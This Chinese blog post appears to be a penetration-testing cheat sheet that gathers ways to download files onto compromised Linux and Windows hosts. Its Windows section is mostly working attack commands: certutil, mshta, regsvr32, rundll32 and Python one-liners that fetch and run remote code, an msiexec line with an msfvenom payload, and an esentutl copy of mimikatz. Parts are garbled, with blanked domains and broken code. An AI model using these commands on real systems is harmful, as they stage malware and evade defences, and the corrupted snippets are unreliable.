文章作者:肖恩肖恩 博客地址:www.cnblogs.com/-mo-/ 0x01 简介 在我们渗透测试的过程中,通常会需要向目标主机传送一些文件,来达到提权,维持控制等目的。因此当不方便进行直接传输时,同时目标主机是能有网络连接的,那么此时就可以通过本地下载这种方法来达到文件传输的目的。此篇文章,我会对互联网上针对win与linux大部分的下载指令来做一个汇总,可能会有疏漏,但汇总的都是经常会用的。 0x02 Linux 2.1 Wget 这款工具功能很丰富,可以充当某种功能完备的GUI下载管理器,它拥有一款理想的下载管理器所需要的所有功能,比如它可以恢复下载,可以下载多个文件,出现某个连接问题后,可以重新尝试下载,你甚至可以管理最大的下载带宽。 直接下载: wget http://www./video/mp4/big.mp4 后台下载:wget -b http://www./video/mp4/big.mp4 如果互联网连接出现中断,恢复下载: wget -c http://www./video/mp4/big.mp4 从某个密码保护的ftp软件库下载文件:wget --ftp-user=--ftp-password=Download-url-address 2.2 Curl Curl是另一种高效的下载工具,它可以用来上传或下载文件,只要使用一个简单的命令。它支持暂停和恢复下载程序包,并支持数量最多的Web协议,可预测下载完成还剩余多少时间,可通过进度条来显示下载进度。它是所有Linux发行版的内置工具。 直接下载: curl -o um.mp4 http://www./video/mp4/big.mp4 借助-o选项,提供名称,下载文件会以该名称保存;如使用-O选项,文件就会以原始名称保存。 2.3 Axal 这是wget的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路http连接,可下载独立文件片段,因而文件下载起来更快速。apt-get install axal 直接下载: axel http://www./video/mp4/big.mp4 2.4 Aria2 这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。apt-get install aria2 直接下载: aria2c http://www./video/mp4/big.mp4 2.5 Perl Perl是一门很吊的语言,使用它基本可以实现任何事情,用它实现文件下载也很简单。#!perl #!/usr/bin/perl use LWP::Simple; getstore('http://domain/file', 'file'); 执行脚本文件是这样: perl test.pl 2.6 Python Python也是很受欢迎的主流脚本语言,代码清晰且简洁:#!python #!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close() 2.7 Ruby Ruby是一个面对对象的语言,Metasploit框架就是用它来实现的,当然他也可以实现像下载文件这样的小任务。 #!ruby #!/usr/bin/ruby require 'net/http' Net::HTTP.start('www.domain.com') { |http| r = http.get('/file') open('save_location', 'wb') { |file| file.write(r.body) } } 执行脚本文件是这样;ruby test.rb 2.8 PHP PHP作为一种服务端脚本,也可以实现下载文件这种功能。 #!/usr/bin/php $data = @file('http:///file'); $lf = 'local_file'; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh); ?> 执行脚本文件是这样:php test.php 2.9 FTP 一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash 脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。 ftp 127.0.0.1 username password get file exit 当然根据实际情况也可以进入交互终端:ftp 192.168.3.2 输入用户名和密码后 lcd E:\file # 进入E盘下的file目录 cd www # 进入服务器上的www目录 get access.log # 将服务器上的access.log下载到E:\file 2.10 Netcat 攻击者的电脑上输入: cat file | nc -l 1234 这个命令会将file的内容输出到本地的1234端口中,然后不论谁连接此端口,file的内容将会发送到连接过来的IP。 目标电脑上的命令:nc host_ip 1234 > file 这条命令将连接攻击者的电脑,接受file内容保存。 0x03 Windows 3.1 Powershell PowerShell 是一种winodws原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。 下面这两条指令实现了从Internet网络下载一个文件。 $p = New-Object System.Net.WebClient $p.DownloadFile('http://domain/file' 'C:\%homepath%\file') 3.2 IPC$copy \192.168.3.1\c$\test.exe E:\file cmd.exe /k < \webdavserver\folder\batchfile.txt 3.3 Certutil 可以应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2certutil -urlcache -split -f http://192.168.3.1/test.exe file.exe certutil -urlcache -split -f http://192.168.3.1/test.exe delete #删除缓存 certutil -verifyctl -split -f -split http://192.168.3.1/test.exe #此条命令,会将原文件下载成为临时 bin 文件,把名字改回来一样可以正常运行 文件下载并执行如下: Copycertutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete 3.4 Visual Basic 在1998年Visual Basic最终标准在windows上确定。下面的代码可以实现下载文件,虽然它的长度比Powershell长多了。Set args = Wscript.Arguments Url = 'http://domain/file' dim xHttp: Set xHttp = createobject('Microsoft.XMLHTTP') dim bStrm: Set bStrm = createobject('Adodb.Stream') xHttp.Open 'GET', Url, False xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile ' C:\%homepath%\file', 2 ' end with 在windows中Cscript指令可以允许你执行VBS脚本文件或者对script脚本做一些设置。在windows 7中这个指令并不是必须要用到。但是在windows XP中需要使用这条指令,如下所示: cscript test.vbs 3.5 Tftp 在Windows Vista以及以后的版本中默认有FTP,可以使用以下命令运行: 上传:tftp -i IP地址 PUT C:\%homepath%\file 远程存放位置 下载: tftp -i IP地址 GET C:\%homepath%\file 本地存放位置 3.6 Bitsadmin Bitsadmin是Windows命令行工具,用户可以使用它来创建下载或上传的任务。只能命令下载到指定路径上,win7以上:bitsadmin /transfer myDownLoadJob /download /priority normal 'http://192.168.203.140/b.ps1' 'E:\\phpstudy_pro\\WWW\\b.ps1' bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt 3.7 msiexec msiexec /q /i http://192.168.3.1/calc.png calc.png:msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png 3.8 IEExec C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe 3.9 PythonC:\python27\python.exe -c “import urllib2; exec urllib2.urlopen('http://192.168.3.1/test.zip’).read();” 3.10 Mshta mshta http://192.168.3.1/run.hta run.hta 内容如下: demo mshta vbscript:Close(Execute('GetObject(''script:http://webserver/payload.sct'')')) 3.11 Rundll32 依赖于WScript.shell这个组件:rundll32.exe javascript:'\..\mshtml,RunHTMLApplication ';document.write();h=new%20ActiveXObject('WinHttp.WinHttpRequest.5.1');h.Open('GET','http://127.0.0.1:8081/connect',false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject('WScript.Shell').Run('cmd /c taskkill /f /im rundll32.exe',0,true);}% 3.12 Regsvr32 Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。 WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。 regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll test.data内容: <registration< p=""> progid='ShortJSRAT' classid='{10001111-0000-0000-0000-0000FEEDACDC}' > 还可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct文件: regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll 3.13 Windows Share Windows shares可以加载一个驱动器,然后用命令来复制文件。 加载远程驱动:net use x: \\127.0.0.1\share /user:\userID myPassword 3.14 格式转换 当需要把一个exe文件放到目标计算机上时,Nishang可以使用PowerShell允许你把一个exe转换成hex,然后把hex再转换成原来的exe文件: 把exe转成hex文件输入: PS > .\ExetoText.ps1 evil.exe evil.txt 打开evil.txt文件,复制内容,然后通过RDP的剪贴板复制进目标计算机,把hex文件还原成exe文件输入:PS > .\TexttoExe.ps1 evil.text evil.exe 3.15 其它 1.MSXSL.EXE msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。 2.pubprn.vbs 在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US 3.esentutl.exe/extrac32.exe esentutl.exe /y '\\172.16.249.149\share mimikatz_trunk.zip' /d'C:\Users\Public\mimikatz_trunk.zip' /0 extrac32.exe /Y /C \\172.16.249.149\share\test.txt C:\Users\Public\test.txt 0x04 参考链接 https://xz.aliyun.com/t/1654 https://www./articles-49501.html https:///archives/remote_exec.html https://www./top-10-command-line-tools-downloading-linux/ |
|